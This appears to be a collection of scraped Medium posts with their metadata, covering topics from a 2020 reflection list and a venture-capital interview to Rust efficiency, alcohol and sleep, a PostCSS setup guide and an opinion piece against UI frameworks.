The Christian world had gotten locked into meanings created by translations. And when the translations were proven false, it created the problem she’d face. Do Christians get the message, or shoot the messenger? | https://medium.com/belover/the-woman-who-read-the-bible-for-the-first-time-d38412a2c11a | ['Jonathan Poletti'] | 2020-05-02 06:32:24.183000+00:00 | ['Bible', 'Books', 'Christianity', 'Feminism', 'Sex'] |
THE YEAR THAT WAS #2020! | THE YEAR THAT WAS #2020!
10 Reasons why 2020 was not all that bad.
There are no right answers to any of those questions, but there are people in every part of the world trying to cope and hold on, and stay sane in the absence of human touch, familial warmth and company that was not controlled or decided by existing government regulations.
We tried to keep up with everything 2020 threw at us, as best as we could, with little feats at work, by cleaning our kitchens twice a day, finding out that gardening is actually enjoyable, baking a 1000 new things, that you never knew you could. We video called each other at all times of the day, we arranged for visual surprises when we couldn’t fly home to family, we fought, we persevered and we kept on keeping on because such is the inextinguishable human spirit.
But 2020 has also been a list of epiphanies and little bursts of absolute creativity and hard realizations, and here’s a list of things 2020 made me realize, now more than ever.
*1*
I must learn to be grateful for the company I keep, cause not everybody has company. There are people who have spent days, weeks and even months craving for warmth of a fellow human, craving to lay out one extra plate on the dining table that they hadn’t seen outside a digital box, waiting to smell familiarity again.
Yes, I said smell, because people that you love have a smell about them, they smell just like them and no one else. That experience in itself is singular and inimitable.
*2*
Distance is a real filter, and sometimes it tells you who you truly need in your life and who you wouldn’t perish without. Not a completely bad thing. You learn to prioritize. And primarily you learn about yourself because for once you cannot avoid your problems in the white noise that surrounds you.
*3*
People are the most compassionate when you bear you heart out to them, learn to do that more often. Learn to talk beyond ‘ So what was your day like?’ but also okay if that’s what you want to start with. Make cups and cups of tea/coffee, and let that burning hot fluid calm you down.
*4*
There is such a thing as toxic positivity – you aren’t supposed to be crazy happy all the time, and you shouldn’t have to fake it. We’re living in a pandemic, it’s practically impossible to push away all your 500 thoughts and convince yourself that everything is in order. Everything is probably not, but you’ll figure it out, give it a li’ll time and breathe. If you need a good cry, or 2 hours of extra sleep or one Saturday in bed, you must have it without being shamed into feeling like a negative (read : practical) presence.
*5*
At a time when not going to cafe/bars/pubs/restaurants is saving all our money, we must find a way to splurge on other things.
By other things I mean hobbies (ofcourse). Most of us discovered new things that we’re each good at – be it pottery, painting, cooking, sewing – endless list. Yes, even your cocktail experimentations’ because it’s 2k20 and it’s 5’O’ clock somewhere, Bub.
*6*
Strangers deserve kindness too, and you can see your neighbours light up with joy when you remember to check in with them before leaving for the grocery store or leave a cake outside their door on important days, or check up every once in a while even when you do not have to borrow sugar or milk or tools or anything.
*7*
Art exists in every direction, and this year I’ve had a lot of time to walk around and discover it – outside of all the fancy places we’ve ever been to. The graffiti on the post pox next to my street, the peeling wall paint, every sunrise & sunset that were so bountiful & calming in their own sense, your sisters’ new guitar jingle, the molten metal piece at the centre of your terrace that previously meant nothing to you. It is all art, in abundance.
*8*
Little joys are often missed in the course of our hectic everyday lives. But this year we had the chance to celebrate every little thing, we did – from 3 month anniversaries to a productive meeting to birthdays to our new pets’ first cute pictures – we stopped at nothing. And I love that we looked for the slightest reasons to pop that champagne bottle and eat more cake.
*9*
We exercised very little restraint on ourselves, which is great in a world where we walk on eggshells around people and watch what we eat, what we say, how we breathe and how we meet. ‘It is a pandemic’ – was our one true justification and rightly so, we did let it go and it was about time to do just that.
*10*
We loved better and realized the value of love better. We did, look around you and look within you and you’ll notice a stark difference between this year and the years before where we have all been a little distracted, a little too much.
There is so much more that could be put on this list, but there’s only so much for your attention span I can hold onto. I hope this year, apart from being disastrous in all ways possible, has also taught you to appreciate the little things that you barely noticed all these years, while you still had access to them, but took them for granted – be it love that looked out for you, people, relationships, things, niceties – anything!
I hope you’re wiser , stronger, better, kinder, and ready to maybe go back out into fast-paced lives you used to lead before, or maybe you’re rethinking your pace and life altogether.
Either way I’m excited for you.
-Kay | https://medium.com/@kalyanikolli/the-year-that-was-2020-7fb5bc54b9f5 | ['Kalyani Kolli'] | 2020-12-19 12:44:54.172000+00:00 | ['2020', 'Life', 'Evolution', 'Pandemic', 'Lessons Learned'] |
The Promise of Purposeful Companies: An Interview with Emerson Collective’s Sarah Pinto | Photo courtesy Sarah Pinto.
Venture investing will not rectify all of the deeply-rooted issues in our society. Still, the intersection between mission-driven companies and profit-generating companies is large and will grow even larger as these issues become more salient. This is something that Emerson Collective’s Sarah Pinto deeply believes, “The era of short-term minded companies that solely care about making money for shareholders, I think that is behind us.”
A Parisian now based in Silicon Valley, Pinto attended the Harvard Kennedy School, focusing on International Development, during which she worked for the World Bank (IFC). After ten years in investing, with experience in both the private equity and growth equity worlds, Pinto was determined to pursue her passion for supporting entrepreneurs who aimed to tackle important problems in the world. A serendipitous opportunity at Emerson Collective — Laurene Powell Jobs’s organization committed to pursuing a more equitable America — allowed her to land her dream job of investing in companies looking to make a positive impact, which she has now been doing for two and a half years.
I sat down with Pinto over Zoom to discuss Emerson Collective’s goals, the inherent challenges of measuring mission-driven companies' successes, and the importance of supporting the best entrepreneurs.
On your website, Emerson Collective describes itself as an organization that uses a broad range of tools, including philanthropy, impact investing, and policy solutions, to create systemic change. Can you describe Emerson Collective and what makes it different? How do these different arms work together?
Sarah Pinto: There are many similarities between what we do and traditional venture investing funds. We typically invest in the same deals, but we are a very different organization. Emerson Collective focuses on the systems that create barriers to human potential, with this very humanistic idea that in everyone lies much potential. Still, opportunities are not as well distributed due to systemic problems. Laurene Powell Jobs, who founded Emerson Collective, believes that you can’t affect systems with just one set of tools, that change is more powerful if you work with nonprofits, private companies, policy-makers, and artists who are changing hearts and minds on the same issues. For example, we invest a lot in education, and I have colleagues who work in the same field, but we focus on supporting nonprofits, university research, policy changes, or artists. We work collectively and are stronger because we leverage different perspectives on the same issues.
Which type of companies do you invest in, and at which stage?
Sarah: For us, it all starts with people: entrepreneurs and innovators. We are focused on supporting those who are boldly inventing solutions to important problems and are mission-aligned. We are lifecycle investors, so we invest across stages. My partner Fern Mandelbaum leads our early-stage investing efforts, and my role is to lead our growth investing efforts. I have colleagues who focus on life sciences, media investing, sustainability investing — these business models are different enough to have different teams for them. We are quite broad in our focus in terms of stage and sector. We are long-term-minded and can lead or follow in deals.
We work collectively and are stronger because we leverage different perspectives on the same issues.
Is there a field, in particular, that you are most interested in?
Sarah: I spend most of my time in three sectors. The first one is education, from early childhood to post-secondary, to lifelong learning. Our team is focused on preparing people for today's jobs and how we help upskill and reskill people whose jobs may not exist tomorrow. That is what led us to invest in Guild Education, for example. They’re using existing education-as-a-benefit dollars in ways that are much more creative and aligned with student interests. They directly impact frontline workers at companies like Walmart or Chipotle.
The second area is the intersection of healthcare delivery and technology. There, we think about leveraging tech innovation to help bring high-quality, affordable healthcare to those who are underserved by the current system. For example, we invested in Ready, which provides community-based home care and telemedicine to patients, including Medicaid recipients.
The third area is financial technology, specifically around financial inclusion. We think about leveraging innovation to help bring more equitable financial services to middle and low-income Americans. We’ve invested in several companies that help break the cycle of people paying high fees for their bank accounts, leading to them not saving enough money, resulting in paying high interest on credit cards and payday loans.
Photo courtesy Sarah Pinto.
I believe the era of short-term-minded companies is behind us. Many successful companies are realizing that it is a winning strategy . . . to do what’s right.
How do you think about maximizing impact while also maximizing profit for the investors? Do you think there is a misconception about how public-serving companies somehow clash with private interests?
Sarah: This is something that I spend a lot of time thinking about. First of all, we are venture investors, so we look for models that will scale and generate venture returns. We do not believe that every company solving every problem in the world will fit that model. There are significant problems that can’t be solved with scalable solutions. A lot of our [Emerson’s] work is focused on highly resource-intensive, local solutions that are much more suitable for philanthropy than venture. And that’s why our work at Emerson invites such a range of tools.
Second, I’m very passionate about this idea that the intersection between companies that will do very well and those that will positively impact the world (both in terms of what they do and how they do it) is large. That’s why I took this job, and that’s what we — and others who are in this with us — are out to prove.
I think many of the companies in our portfolio will prove that 1) if you’re actually solving important problems for large numbers of people with a sustainable business model, you will have an impact and do well financially. And 2) I think the companies that will attract capital, talent, and customers in this century will be the ones that have strong values. These are companies that treat their employees well, have inclusive cultures, and consider multiple stakeholders as they make their decisions. I believe the era of short-term-minded companies is behind us. Many successful companies are realizing that it is a winning strategy (with employees, consumers, regulators, etc.) to do what’s right.
What happens when a company is trying to solve a complicated issue with a long history and perhaps layers of legislation tied to it, like in the education and environmental sectors? How do you even begin to predict the success of a company in solving these complex issues?
Sarah: A lot of our companies try to tackle very regulated industries like healthcare or financial services. I believe that the history of innovation and change typically starts with people who are proximate to the issue. Yes, we work inside regulated industries. Obviously, our companies are working closely with the government to ensure that they abide by their specific industries' laws and regulations. In healthcare, we have invested in companies that work closely with state Medicaid organizations or with state licensing boards for doctors. With COVID, licensing rules around telemedicine have evolved, and I think they will evolve more quickly. Even the way that some Medicaid and Medicare agencies see public/private partnerships is changing. There is more openness to things like value-based care, where organizations are being paid for outcomes instead of fee-for-service.
We want to show that mission-driven companies solving important problems will be some of the most successful companies of the next 10 years. We are actively making that bet and pursuing data to prove out that thesis.
What non-financial metrics do you measure when assessing the success of a company?
Sarah: We work with our companies to identify those metrics on a case-by-case basis. The risk with rigid, top-down impact measurement is that you end up measuring the wrong thing. In education, for example, standardized test results cannot be the main metric for every company. We have companies in our portfolio that help teachers be more effective in their student practice through training or coaching. Then, it makes more sense to measure how many teachers a company touches, which school districts, what their NPS is, impact on teacher retention, etc.
What is your vision for your work and your impact in the future?
Sarah: We want to show that mission-driven companies solving important problems will be some of the most successful companies of the next 10 years. We are actively making that bet and pursuing data to prove out that thesis.
To achieve that, we want to attract the best mission-driven entrepreneurs and help them be successful. Our mission is to help support innovators who start those companies and those who work at our portfolio companies by funding them, advising them, and amplifying their work.
Connect with Sarah Pinto on Twitter and LinkedIn. | https://medium.com/allraise/an-interview-with-emerson-collectives-sarah-pinto-caa1b41fead7 | ['Kyla Crisostomo'] | 2021-03-03 15:46:07.288000+00:00 | ['Women In Tech', 'Social Impact Investing', 'Women In Venture Capital', 'Social Enterprise', 'Future Technology'] |
Rust — A Green Language for 21st Century | Could Rust be part of the solution for climate change? After reading Danny Van Kooten’s story https://dannyvankooten.com/website-carbon-emissions/ about your website’s carbon footprint as it relates to Javascript, I started thinking about the backend systems created since the time of Java and other more dynamic languages’ rise around 1999.
The evolution of computer languages over the past 20–25 years ago has provided developers with better, safer and more productive means of producing software. Moving the clock back to around 1997 most development was happening in the C/C++ space was very painful to build systems in for most cases. With the introduction of Java/Python/Ruby in the late 1990s developers were offered a more productive and safer means of writing code. The shift in focus was so dramatic and complete that we forgot so many of the problems from C/C++ that Java and all of the other languages (Python, Ruby, Node.js, etc). solved.
At the expense of efficiency, CPU, and memory we solved so many very difficult issues that had plagued the software development discipline since the 1980s — memory leaks, unsafe memory access, crashes and long/complex builds and hard library binary linkage issues, build times, hard to maintain code.
The tradeoff has been the need for much larger computers and more of them to scale out to meet the resource hungry modern languages. We solve the performance problems of less efficient languages by have larger memories, more CPU cores, more processes and more physical computers. Algorithms that need to scale now do so over multiple physical computers. Much of this is due to the inefficiencies in our current toolset of languages mentioned above. Memory is managed through garbage collectors that eat up lots of unneeded memory, interpreted code uses more and more CPU, JIT compiling takes cycles also. In doing so we use more electricity and thus a much larger carbon footprint to do computing that could have been done with less energy use if the application ran more efficiently.
Rust solves so many of the original problems from C/C++ that we ran away from about 20 years ago. Safe memory access, concurrency, easy build process and packaging and very smart compiling while delivering a native executable with the memory and CPU efficiency of C/C++. It is time to revisit much of the past 20 years of backend server side development — in particular Java systems that eat up lots of resources (looking at you Spark).
We ran away from two really good things also when we left C/C++ — speed and efficiency. And this spawned the allocation and usage of lots and lots of physical computers gobbling up lots of kilowatts.
I recently rewrote an intensive task in our data pipeline that processed 1.8 billion records and needed a 47 million record lookup for each. The results for the lookup caching build for some popular languages was like this:
C Python: 5min 29 sec. 5.8G
PYPY3: 4 min / 10g
Java: 2min 2 sec 8G memory
Rust: 1min 33 sec 2.9 G used
This is the type of efficiency you can expect from Rust. It is far faster and a fraction of the memory footprint. Each reduction in memory and CPU for a process scaled over a whole data center’s worth is a lot of computers burning lots of kilowatt hours. Oh and not to mention everything ran faster with smaller memory footprint!
Fewer computers equals less energy consumption and less greenhouse gases. Rust could be the greenest computer language to be introduced yet.
In closing check out this quote from the above mentioned article.
Shaving off a single kilobyte in a file that is being loaded on 2 million websites reduces CO2 emissions by an estimated 2950 kg per month.
Our backend code likely burns way more electricity than this and does it at scale. If we could move to Rust — our resource consumption would much smaller and reduce CO2 emissions.
Give Rust a try next time you consider something new that needs to be fast and performant. You might be helping out the environment at the same time also! | https://medium.com/@loraxman/rust-a-green-language-for-21st-century-9935303db91f | ['Roger Kelly'] | 2020-02-05 22:50:39.898000+00:00 | ['Rustlang', 'Green Energy', 'Python', 'Java'] |
What Makes Him What He Is? | Today, The date is 17 June 2022, My name is Suniltams. I am a well-established blogger with JustBaazaar.com. Today, I would like to introduce Mr. Sunil Chaudhary, who also happens to be the CEO of JustBaazaar.
The first and foremost thing about Mr. Sunil Chaudhary is his belief in becoming an entrepreneur. He never had any second idea and continuously worked on his faith and passion. As you all the society and people around us. Most of the people around Mr. Sunil Chaudhary also gave him tons of reasons to continue his job and not to start his work or business. However, as it was destined, Sunil was mad about his dream.
As a result, today, Sunil has many successful businesses. Yes, businesses. The best thing he has is his mentoring business. He gives classes to thousands of students and business owners across the world. His subjects are content writing, business automation, SEO, and digital marketing. Although, he is not required to do so. But, he is quite passionate and has been doing this since 2014.
The second business he has is his business Directory JustBaazaar.com. He started this business directory in 2016. After lots of learning and struggles, now his business directory is counted among the best business directories in the world. Business owners and SEO experts list 100s of businesses daily on this business directory.
Apart from the above two businesses, he has some other ventures in FMCG, the Service industry, IT Services, etc.
If we talk about his lifestyle, he owns a sweet home in his hometown Aligarh and his Village. He lives organically and eats as naturally as possible. He always ensures to spend some quality time with his mother. Therefore, he stays in his village and his hometown most of the time. He visits other cities and countries as well but strictly when required.
He is passionate about cars and bikes. He has a few cruiser bikes like Harley Davidson and Java. In cars, he has Skoda Superb, BMW, and Mahindra Thar. You can see him riding alone sometimes on the highways.
He spends time in his garden on a regular basis and ensures that everything is good in terms of watering, and well being of the plants and herbs in the garden. Most of the things he and his family eat come from the home garden only.
Sunil is also a well-known philanthropist. He has a dedicated sum of money that regularly goes towards the social work and upliftment of society and needy people around him. He has a slogan, “Make Better Society every day”.
Now, you must be thinking that all this happened by luck or chance. Well, I am not the one to comment on this. You must decide by reading the below short story of Mr. Sunil Chaudhary.
He belongs to a small village called Mangarhi in Aligarh District. His father had a small agricultural land and medical shop. Some of the agricultural lands were sold and the medical shop was also sold in 2002. Overall, the financial situation was not healthy. So, he decided to pursue his intermediate from a government school where the fee was just Rs 25 a month.
After that, he was admitted to B.Sc microbiology. However, as the financial condition was not good, he left that and joined B.A. where he submitted Rs. 1500 as the annual fee. Now the question was of survival. What to eat and what to wear. Everything needed money.
He did something which people from his community rarely do. He started working as a truck cleaner. The truck was moving between Delhi and Mumbai. His family and friends did not have any idea about this at all.
He earned some money and joined his classes at his college. It went on for 2 years. He used to read English books and English newspapers while he was cleaning and taking care of the truck. His driver (Ustad) used to be surprised by this. But Sunil continued reading and studying.
In 2006, after completing his graduation, without wasting a single day, he went to Faridabad by borrowing some money from his best friend Neeraj.
He joined Akiko Callnet where he got the training to join and work in a BPO or so-called call center. After 2 months he got a job in Aegis BPO. He was one of the best performers in the pilot batch and was the favorite of his team leader.
He continued this and got his next job in IBM Daksh Gurgaon in the Chat process where he used to assist telecom customers. Here Sunil utilized his English language skills. Also, he learned a lot about content writing, customer service, team management, team supervision, etc.
After 2 years, he got a great job in Mercer India, Gurgaon as a Data Analyst. He was again a good performer there. He got 2 promotions before time.
Then, as nobody from his village would have dreamed, even NCR people dream about that, he got Job in Bangalore. The company was one of the best organizations in the world, Fidelity Investments.
He worked there for 18 months.
Why only 18 months?
Because there was something which was always there in Sunil. What? The zeal and passion to do something BIG.
And, that BIG factor made him quit his job and start his coaching by the name of TAMS Studies in 2014. Well, as per him, the venture was quite successful.
In 2016, he started his Business Directory JustBaazaar.com. This was also successful.
As it happens, it happened with Sunil also. He faced big losses due to his inexperience and the fraudulent people in the market. He almost lost both his businesses. Yes, indeed he did.
In June 2020, he got a job as a corporate communications manager in one of the companies in Agra and worked there for 10 months. Here he got big relief in terms of some regular income and getting his confidence back.
But as mentioned above, he was not destined to be an employee. He again left this job in May 2021. Now, he was ever more determined to do something great in terms of SEO and Digital Marketing. He started again.
Meanwhile, he was getting many emails and communications to improve his skills. Sunil also wanted to learn as he lost a lot earlier due to his lack of skills and his inexperience. He, this time, was more determined to learn and join a mentor. Luckily, one day again, he got an email from Deepak Kanakraju, one of the best mentors for SEO and Digital Marketing.
Sunil attended the seminar and joined with full confidence. He took all the sessions with a full heart and completed all assignments and instructions of DigitalDeepak.
With this internship program, Sunil acquired mastery in SEO, Digital Marketing, Affiliate Marketing, Marketing Automation, Lead Funnel, Lead Nurturing, and content writing.
With all these skills, he started his online tutoring venture again and put his knowledge into the betterment of his business directory and affiliate marketing business.
He started making good money.
Rest is history.
Now, Sunil has more than 50 people working with him full time. Sunil has taught more than 10000 students till now.
So, you can see that Sunil kept learning and never gave up. Also, he did not hesitate to get a mentor at the right time.
I wish him all the success. Hope you all liked the story of Mr. Sunil Chaudhary.
Written by Suniltams Guruji | https://medium.com/@suniltams/what-makes-him-what-he-is-b6f3f4557d1 | ['Sunil Tams'] | 2021-06-17 20:06:30.009000+00:00 | ['Future Dream', 'Very True', 'Sunil Chaudhary', 'Manifestation', 'Ceo Justbaazaar'] |
EMOTIONAL INTELLIGENCE IN THE COVID-ERA WORKPLACE: WHAT CAN LEADERS SAY AND DO? | Uncertainty, freak out, sadness, new roles, new rules, all happening at work now in the COVID-era. What should managers and leaders do?
Emotional Intelligence requires addressing the moment head-on with a deft understanding of the unique feelings that this era elicits.
One powerful and meaningful action managers and leaders can take is to facilitate conversations structured around the following questions.
*Good meeting hygiene applies–set a limited time, articulate your focus or intention, and make space for everyone.
**Additionally, empathic leadership can be as simple as earnest listening and voicing that everyone’s experience is legit.
Questions for your meeting on being professionals in COVID-times:
In work or other parts of life, what is something that you do that feels enriching or light-hearted? What are some effective or helpful ways you’ve found to delineate work time and work space if you are working from home? In your work, what are some new or different expectations you have that you think are appropriate right now given the pandemic? What are the values of this company and which ones are most important at the moment? What are your personal work values? What is helpful to remind yourself these days? What are self-care routines or activities that nourish and support you as a professional in your work? What’s most important to you about getting through this tough time? Do you feel it is OK for you to speak up, voice personal concerns, or take a day off if you need it? How about others, is it OK for them? How can you communicate these sorts of things with your customers and colleagues? Where do you go for warmth and certainty in these trying times? Bonus: What’s something you’re proud of recently?
These questions could be put in an email, a survey, or used to start meetings or in break out discussions.
Additional pointers:
Good team building is culture nurturing.
The leader’s mood should be positive, calm, and understanding .
. The meeting should be open, comfortable, and kind.
Remember the mantra “ Make space, take space ” — that is, to make time and space for everyone and encourage each individual to assert themselves and take time and space (particularly with those who might ordinarily be reluctant to “take space” for themselves.)
” — that is, to make time and space for everyone and encourage each individual to assert themselves and take time and space (particularly with those who might ordinarily be reluctant to “take space” for themselves.) Leaders should answer these questions, too.
Of course, many companies have so much more to do to adjust to these times than just ask a series of questions. But these conversations show emotional intelligence, are good for mental health, and, if done well, will elevate performance. | https://medium.com/@josephrivertimmins/emotional-intelligence-in-the-covid-era-workplace-what-can-leaders-say-and-do-40044874a556 | ['Everything You Do Is Amazing'] | 2020-12-23 23:59:09.438000+00:00 | ['Management', 'Work', 'Emotional Intelligence', 'Leadership', 'Covid 19'] |
How Alcohol Messes With Our Sleep | How does alcohol affect sleep?
Alcohol has an effect on all neurotransmitters, which are types of proteins that help send chemical messages across our nervous system. Part of the “high” in drinking alcohol is directly related to the alteration in these neurotransmitters.
We need a healthy flow in these neurotransmitters to move through our sleep cycles properly. So it’s no wonder that alcohol, in any quantity, will alter these sleep cycles.
The most significant effect of alcohol on sleep patterns is a decrease in REM sleep, especially later in the night. REM sleep is the sleep cycle most responsible for resting and rejuvenating our brains. So it’s no wonder I still felt tired after I slept a full night during my drinking days.
Surprisingly though, the biggest effect of alcohol on our sleep is not because of the alcohol itself, but the withdrawal process.
During withdrawal, these neurotransmitters are rebounding back from their depressed state. This means our nervous systems are in chaos as they attempt to calm down and find equilibrium again.
Unfortunately, for alcoholics, this process can cause severe insomnia and anxiety, and it can take up to a year for things to settle.
It’s important to know, though, that even mild withdrawal can cause sleep issues in social drinkers. The good news is that withdrawal settles more quickly for those who engage in light social drinking.
Photo by Megan te Boekhorst on Unsplash
This was absolutely true for me when I first got sober. I only wish I had it in me to do this research back then. It would’ve helped me make sense of what was happening to me. Now, I try to pass this info on to others so they can educate themselves more.
Many people have asked me about my first few months of sobriety. Like I was, they are confused as to why they still feel like dirt after getting sober. But rest assured, things get better over time, even though sleep issues do tend to take a little longer. | https://medium.com/mental-health-and-addictions-community/how-alcohol-messes-with-our-sleep-3270d697565a | ['Gillian May'] | 2020-02-14 21:06:06.076000+00:00 | ['Mental Health', 'Education', 'Sleep', 'Health', 'Addiction'] |
Ways to achieve a safe workspace after isolation by COVID-19 | It is important to provide a safe work environment for employees after COVID-19 is isolated.
Ideally, you would like to maintain contact tracking and obtain all the information necessary to maintain a safe and reliable workspace in addition to the regulatory and mandatory distance, with IO Plus you can obtain the benefits of contact tracking without putting your work equipment at risk!
Also, ways to ensure a safe workplace include:
Work Environment Assessment
It is important to assess whether the workplace facilities comply with occupational safety measures
Indoor air quality
As the pathways of COVID-19 infection continue to be discovered, some criteria such as optimal levels of humidity, ambient temperature and air filtration
Hand washing
Handwashing must be addressed as both an infrastructure and a behavioral issue.
Industrial Hygiene
Understanding the risk and safety associated with closed work environments will be key for owners and managers to evaluate safety measures at the facility as employees return to work.
IO Plus succeeds in maintaining a safe working environment against Covid-19 | https://medium.com/@ioplusorg/ways-to-achieve-a-safe-workspace-after-isolation-by-covid-19-d3e5ded1939 | [] | 2020-12-18 11:22:51.847000+00:00 | ['Contact Tracing', 'Qr Code', 'Covid 19', 'Business', 'Safety'] |
Getting started with PostCSS: A quick guide for Sass users | You may have heard about PostCSS and how it is almost 2x faster than libsass (and 28x faster than Ruby Sass); or about its cssnext and CSS Modules support and extensible functionality. But have you had a chance to try it out?
PostCSS’s biggest strength — its modularity and plugin-oriented architecture—is also a downside. If you have been using Sass (which is the majority of designers and front-end developers) for your projects, you never had to configure anything—Sass comes with all functionality included, out-of-the-box. PostCSS, however, requires you to do some work. You have to choose from a seemingly endless list of plugins and put all pieces together yourself.
This guide provides (what I think is) a good base configuration for Sass users, so you can easily try out PostCSS and dive in the details later. Hope you find it useful. Any suggestions and comments please drop a tweet to @svileng — thanks!
Note: there are PostCSS projects that attempt to give you Sass-like functionality in a single plugin. I would personally avoid them and pick the plugins individually when I need a specific feature—this gives you more flexibility, and you can also use some new plugins that are even more powerful than their Sass equivalent.
Running PostCSS
There are a number of ways to run PostCSS. You can easily plug it into your Gulp or Webpack build process; for this guide, however, to keep things as simple as possible, we’re going to use PostCSS’s CLI. The majority of people would probably install it globally like so:
npm install -g postcss-cli
However, I recommend installing the runnable locally, so that it resides within the project you’re working on:
npm install --save-dev postcss-cli
And run it like so (from the main project directory):
./node_modules/.bin/postcss [options]
I find this approach better than managing versions of globally installed modules across projects. To make it even easier, you can add the following line to your “scripts” section in package.json:
{
"name": "mysite",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node app.js",
"postcss": "postcss --config postcss.json"
},
"dependencies": {
"conveyor-belt": "0.0.5",
"express": "~4.9.0",
"express-handlebars": "^2.0.1",
"morgan": "~1.3.0"
},
"devDependencies": {
"postcss-cli": "^2.5.1",
}
}
Turns out you can omit “./node_modules/.bin” and just call postcss here — thanks to vectorsize for the tip!
So from now on you can just run
npm run postcss
You have probably noticed the “--config postcss.json” argument — this is going to contain our PostCSS configuration.
Rather than passing lots of arguments in the command line/package.json file, we can specify everything within a single JSON file. Here’s the basic structure:
{
"use": [],
"input": "css/main.css",
"output": "public/main.css",
"local-plugins": true,
"watch": true
}
While this is a valid example, it actually doesn’t do anything at all! Notice the empty “use” array — this is where we specify our PostCSS plugins that help us transform the input CSS and add functionality.
Example PostCSS configuration
If you’re coming from a Sass project, you’ll likely want to have:
CSS @imports
CSS @extends
$variables
Nested classes
Mixins
Autoprefixing
To get all that, you need to install the relevant modules:
Note: the plugins provide almost identical syntax to Sass — some are slightly different (and in the case of postcss-mixins—much more powerful), so make sure to check the pages above for more info.
And to install them in one line:
npm install --save-dev postcss-import postcss-simple-vars postcss-extend postcss-nested postcss-mixins autoprefixer
Then update your postcss.json:
{
"use": [
"autoprefixer",
"postcss-import",
"postcss-simple-vars",
"postcss-extend",
"postcss-nested",
"postcss-mixins"
],
"input": "css/main.css",
"output": "public/main.css",
"local-plugins": true,
"watch": true,
"autoprefixer": {
"browsers": "> 5%"
}
}
Notice we added an extra key for autoprefixer — you can also use the json to configure individual plugins!
Now you can just do npm run postcss (there is currently no output in the Terminal, sadly, so you’ll just get a blank line) and it will automatically transform and watch the code for changes.
Further reading
Now that you have most of the things you need to get started using PostCSS, you may want to have a look at cssnext to start using CSS4 today, or have a look at the long list of language extensions, linters and optimisers currently available as plugins.
—
I’m Svilen — a full-stack web developer and co-founder at Heresy. We’re always looking for engineers who enjoy working with the latest technologies and solving challenging problems. If you’re curious, check out jobs page! | https://medium.com/heresy-dev/getting-started-with-postcss-a-quick-guide-for-sass-users-90c8b675d5f4 | ['Svilen Gospodinov'] | 2017-08-31 15:02:10.899000+00:00 | ['Web Development', 'Sass', 'CSS'] |
How to Create a Self-Documenting Makefile | How to Create a Self-Documenting Makefile
Accelerate your DevOps with command aliases you can check in
Illustration by author
My new favorite way to completely underuse a Makefile? Creating personalized, per-project repository workflow command aliases that you can check in.
Can a Makefile improve your DevOps and keep developers happy? How awesome would it be if a new developer working on your project didn’t start out by copying and pasting commands from your README? What if, instead of:
pip3 install pipenv
pipenv shell --python 3.8
pipenv install --dev
npm install
pre-commit install --install-hooks
# look up how to install Framework X...
# copy and paste from README...
npm run serve
… you could just type:
make start
…and then start working? | https://medium.com/better-programming/how-to-create-a-self-documenting-makefile-533ebf8f82e2 | ['Victoria Drake'] | 2020-08-11 13:11:01.176000+00:00 | ['Tech', 'Programming', 'Coding', 'DevOps', 'Software Development'] |
Why You Should Stop Using UI Frameworks | I’ve been a web application developer for over 20 years. I’ve seen all kinds of UI libraries come and I’ve seen them go. I’ve been in the industry long enough to know that just because a framework is new and cool and “OMG! Everyone cool is using it!”, doesn’t mean you should use it too.
Speaking from a purely enterprise perspective, which is probably the same perspective you should be looking at if you plan on building the next great SaaS app, you should be thinking long and hard about incorporating any kind of library or UI framework into your app.
Right now you’re small, nimble, you code things in record time and push to production with a minimal number of steps. You’re probably not writing tests, or very few, and all of your builds are done automagically locally.
But if you get successful, really successful, like with hundreds of developers working on your app kind of successful, all of that is going to change. You are going to become an enterprise; and in the enterprise, we do things very differently in the “real world” than you do in the “startup world”.
1. Any changes, even updates, are expensive.
Right now your team is small and you can push whatever you like because no one is, or relatively few are, really depending on your software. You can make changes quickly and easily, push them, boom! Done.
But that kind of paradigm doesn’t fly in the enterprise where all kinds of new and very necessary controls will suddenly be in-place to keep hot-rodding, fly-by-the-seat-of-my-pants kinds of changes from getting into production code and bringing down not just the app, but the entire company.
Every step you add into the deployment process costs you time and money in ways you cannot see when you’re a small startup.
If you unwisely choose the technology stack for your app, especially the UI, it’s going to take a tremendous amount of resources to rip it out and update it. Which leads me to my next point …
2. Avoid “fad” technologies that update too quickly or just come and go.
UI is notorious for flavor-of-the-day UI libraries and frameworks. Handlebars, React, Vue, AngularJS, Angular 2, 4, 5, 6, 7, and now fucking 8. All in the span of what—6 years? I’m sure there are bunch of others I’ve not even heard of yet.
“Angular is not a fad, Beau.” Sorry, it is. In the enterprise you cannot be changing out libraries and updating shit this fast. You won’t have the budget or the resources (“resources” is enterprise-speak for the people who will now hate you).
Each time some library or framework “updates” or changes versions, it costs you money.
3. Cost versus actual benefits.
Think about which UI framework you’re thinking of using in your project or next project. What is the framework really doing for you? Is it saving you time or just giving your application some cool “whiz-bang” features?
“It gives us model and DOM binding! A huge time saver.” Fine, you can do that with a jQuery plugin that you don’t have to compile. Next?
“It gives us an MVC on the front end with model-bound templates for a SPA (single-page application).” Fine, but this is not saving you time; in fact, it’s costing you more time in building pages, compiling, and SPA’s are terrible if you need real SEO and accurate analytics.
At the end of the day, by the time you are done installing all of the crap that you need to actually run the super-really-cool fad-tech UI framework, it’s not easier at all, and all you have done is saddled your enterprise team with hours and hours of frustrating local setup and configuration and IDE integration. It’s nonsense.
Yea, we do it; but it’s NOT easier. I’ve seen enterprise devs saddled with setting up the new wiz-bang technology spend literally weeks working out the bugs in their development environments because someone decided to install a new “framework”.
And at the end of the day, the UI framework, much more of a pain in the ass, much more difficult to debug, than it was helpful in achieving a good clean easy-to-mange front-end.
4. Just say no to UI compilers.
In choosing any kind of UI library the first thing I look at is: does it need to be compiled? If the answer is any kind of yes or “sort of”, then that shit doesn’t get included in the source code.
Now I am not talking about using Gulp or Grunt to manage your UI component libraries; I’m talking about having to pre-compile JS and CSS files into “browser-readable” code. If the browser can’t natively read what you are coding, throw it out.
Yes, I love Sass (and to a lesser extend Less); but I don’t use them. Why? Because even though they can save you time and they do an excellent job of organizing CSS, I really don’t need them. I can organize my CSS just fine without them. What I don’t need is adding extra unnecessary steps into the development process and CI/CD pipeline.
Did you know that you can actually write native CSS and native JavaScript without compiling it first?! YES! What a great concept!
I once interviewed with a really big video game company. You know what their development policy was changing to? Plain ECMA (JavaScript) and CSS. No compilers. No CoffeeScript. No TypeScript. They even ripped out jQuery. I was impressed.
